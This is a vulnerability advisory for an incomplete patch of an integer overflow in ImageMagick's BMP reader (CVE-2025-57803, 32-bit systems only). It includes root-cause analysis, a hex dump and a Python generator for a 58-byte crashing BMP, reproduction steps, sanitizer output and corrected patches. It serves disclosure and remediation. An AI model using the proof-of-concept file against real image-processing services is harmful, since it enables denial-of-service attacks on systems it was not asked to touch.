VDB
EN
MEDIUM 4.4

GHSA-9pp9-cfwx-54rm

ImageMagick has Integer Overflow in BMP Decoder (ReadBMP)

상세

## Summary

CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but **the fix is incomplete and ineffective**. The latest version **7.1.2-5 remains vulnerable** to the same integer overflow attack.

The patch added `BMPOverflowCheck()` but placed it **after** the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.

**Affected Versions:** - ImageMagick < 7.1.2-2 (originally reported) - **ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)**

**Platform and Configuration Requirements:** - 32-bit systems ONLY (i386, i686, armv7l, etc.) - Requires `size_t = 4 bytes`. (64-bit systems are **NOT vulnerable** (size_t = 8 bytes)) - Requires modified resource limits: The default `width`, `height`, and `area` limits must have been manually increased (Systems using default ImageMagick resource limits are **NOT vulnerable**).

---

## Details(Root Cause Analysis)

### Vulnerable Code Location

**File:** `coders/bmp.c` **Lines:** 1120-1122 (in version 7.1.2-5)

### The Incomplete Patch

```c // Line 1120: Integer overflow happens HERE extent = image->columns * bmp_info.bits_per_pixel; // OVERFLOW!

// Line 1121: Uses already-overflowed value bytes_per_line = 4*((extent+31)/32);

// Line 1122: Checks the RESULT, not the multiplication if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse) ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile"); ```

### Why the Patch Fails

**Attack Vector (32-bit system):** ``` Input BMP Header: Width: 536,870,912 (0x20000000) Height: 1 Bits Per Pixel: 32

Calculation on 32-bit system: extent = 536,870,912 × 32 = 17,179,869,184 (0x400000000) 32-bit truncation: 0x400000000 & 0xFFFFFFFF = 0x00000000 ← Overflow to ZERO! bytes_per_line = 4 × ((0 + 31) / 32) = 4 × 0 = 0 BMPOverflowCheck(0, 1): return (1 != 0) && (0 > 4294967295UL/1) return True && (0 > 4294967295) return True && False return False ← Does NOT detect overflow! ```

**The check fails because:** 1. The overflow happens at Line 1120 (extent calculation) 2. `extent` becomes 0 due to 32-bit truncation 3. `bytes_per_line` is calculated as 0 (Line 1121) 4. `BMPOverflowCheck(0, 1)` returns **False** (no overflow detected) 5. Code proceeds with corrupted values → ASan crash

---

## PoC(Proof of Concept)

### Minimal 58-byte BMP File

**Hex dump:** ``` 00000000 42 4d 3a 00 00 00 00 00 00 00 36 00 00 00 28 00 |BM:.......6...(.| 00000010 00 00 00 00 00 20 01 00 00 00 01 00 20 00 00 00 |..... ...... ...| 00000020 00 00 00 00 00 00 13 0b 00 00 13 0b 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 |..........| ```

**Key Fields:** - Offset 0x12: Width = `00 00 00 20` = 0x20000000 (536,870,912) - Offset 0x16: Height = `01 00 00 00` = 1 - Offset 0x1C: BPP = `20 00` = 32

### Python Generator

```python #!/usr/bin/env python3 import struct

width = 0x20000000 # 536,870,912 height = 1 bpp = 32

# BMP File Header (14 bytes) file_header = b'BM' file_header += struct.pack('<I', 58) # File size file_header += struct.pack('<HH', 0, 0) # Reserved file_header += struct.pack('<I', 54) # Pixel offset

# DIB Header (40 bytes) dib_header = struct.pack('<I', 40) # Header size dib_header += struct.pack('<i', width) # Width dib_header += struct.pack('<i', height) # Height dib_header += struct.pack('<H', 1) # Planes dib_header += struct.pack('<H', bpp) # BPP dib_header += struct.pack('<I', 0) # Compression dib_header += struct.pack('<I', 0) # Image size dib_header += struct.pack('<i', 2835) # X ppm dib_header += struct.pack('<i', 2835) # Y ppm dib_header += struct.pack('<I', 0) # Colors dib_header += struct.pack('<I', 0) # Important colors

pixel_data = b'\x00\x00\x00\x00'

with open('overflow.bmp', 'wb') as f: f.write(file_header + dib_header + pixel_data)

print(f"Created overflow.bmp (58 bytes)") ```

---

## Reproduction Steps

### Environment Setup

```bash # Use 32-bit Docker container docker run -it --name test-32bit i386/ubuntu:latest bash

# Install dependencies apt-get update apt-get install -y clang build-essential wget tar \ libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \ zlib1g-dev liblzma-dev libbz2-dev

# Download ImageMagick 7.1.2-5 cd /tmp wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz tar xzf 7.1.2-5.tar.gz cd ImageMagick-7.1.2-5 ```

### Build with AddressSanitizer (32-bit IMPORTANT!)

```bash # Configure for 32-bit build (CRITICAL - must be 32-bit!) ./configure \ --host=i686-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined"

make -j$(nproc)

### Trigger the Vulnerability

```bash # Set environment to bypass cache.c limits export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1" export MAGICK_WIDTH_LIMIT=2000000000 export MAGICK_HEIGHT_LIMIT=2000000000 export MAGICK_AREA_LIMIT=10000000000

# Test with malicious BMP (use Python script above to create it) ./utilities/magick identify overflow.bmp ```

---

## AddressSanitizer Output

``` ==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 "((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0) ================================================================= ==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 "((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0) ==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488) False positive error reports may follow For details see https://github.com/google/sanitizers/issues/189 ```

It operates in the following environments.

``` export MAGICK_WIDTH_LIMIT=2000000000 export MAGICK_HEIGHT_LIMIT=2000000000 export MAGICK_AREA_LIMIT=10000000000 ```

## Impact

### Attack Scenario

1. Attacker creates a 58-byte malicious BMP file 2. Uploads to web service that uses ImageMagick (on 32-bit system) 3. ImageMagick attempts to process the image 4. Integer overflow triggers AddressSanitizer crash 5. Service becomes unavailable (Denial of Service)

**Real-world targets:** - Web hosting platforms with image processing - CDN services with thumbnail generation - Legacy embedded systems - IoT devices running 32-bit Linux - Docker containers using 32-bit base images

---

## Recommended Fix

### Correct Patch

The overflow check must happen **before** the multiplication:

```c // Add overflow check BEFORE calculating extent if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse) ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");

// Now safe to calculate extent = image->columns * bmp_info.bits_per_pixel; bytes_per_line = 4*((extent+31)/32);

// Additional safety check if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse) ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile"); ```

### Alternative: Use 64-bit Arithmetic

```c // Force 64-bit calculation uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;

if (extent_64 > UINT32_MAX) ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");

extent = (size_t)extent_64; bytes_per_line = 4*((extent+31)/32); ```

### Credits wooseokdotkim wooseokdotkim@gmail.com

이 버전이 영향받나요?

사용 중인 패키지 버전을 입력하면 즉시 평가합니다.

영향 패키지

NuGet / Magick.NET-Q16-AnyCPU
최초 영향 버전: 0 수정 버전: 14.9.0
수정 dotnet add package Magick.NET-Q16-AnyCPU --version 14.9.0
NuGet / Magick.NET-Q16-HDRI-AnyCPU
최초 영향 버전: 0 수정 버전: 14.9.0
수정 dotnet add package Magick.NET-Q16-HDRI-AnyCPU --version 14.9.0
NuGet / Magick.NET-Q16-HDRI-x86
최초 영향 버전: 0 수정 버전: 14.9.0
수정 dotnet add package Magick.NET-Q16-HDRI-x86 --version 14.9.0
NuGet / Magick.NET-Q16-x86
최초 영향 버전: 0 수정 버전: 14.9.0
수정 dotnet add package Magick.NET-Q16-x86 --version 14.9.0
NuGet / Magick.NET-Q8-AnyCPU
최초 영향 버전: 0 수정 버전: 14.9.0
수정 dotnet add package Magick.NET-Q8-AnyCPU --version 14.9.0
NuGet / Magick.NET-Q8-x86
최초 영향 버전: 0 수정 버전: 14.9.0
수정 dotnet add package Magick.NET-Q8-x86 --version 14.9.0

참고